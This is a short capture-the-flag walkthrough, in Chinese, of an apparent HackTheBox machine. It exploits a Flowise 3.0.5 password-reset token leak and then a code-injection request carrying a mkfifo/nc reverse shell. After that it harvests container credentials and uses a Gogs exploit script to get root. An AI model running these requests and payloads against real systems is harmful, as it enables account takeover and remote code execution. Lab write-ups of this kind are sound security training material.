nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt
开放端口：22 (SSH), 80 (HTTP)
staging.silentium.htb 运行 Flowise 3.0.5忘记密码端点会在 API 响应中直接泄露 tempToken。
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]"}}'
使用泄露的 tempToken 重置密码：
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"[email protected]","tempToken":"<TOKEN>","password":"Hacked123!"}}'
登录获取 API 密钥，然后触发 RCE：
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_KEY>" \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'
在 Docker 容器内以 root 身份获得 shell。
检查环境变量：
env
找到凭据：
FLOWISE_USERNAME=benFLOWISE_PASSWORD=F1l3_d0ck3rSSH 连接主机：
ssh ben@<IP>
Gogs 以 root 身份在内部端口 3001 上运行。
设置 SSH 隧道：
ssh -L 8080:127.0.0.1:3001 ben@<IP>
通过 http://127.0.0.1:8080 在 Gogs 上注册账户，并生成 API 令牌。
使用 TYehan 的漏洞利用脚本：
python3 exploit.py \
--url http://127.0.0.1:8080 \
--username <user> \
--password <pass> \
--token <token> \
--host <LHOST> \
--port 4446
获得 root shell！🎉
/home/ben/user.txt/root/root.txt/etc/hosts：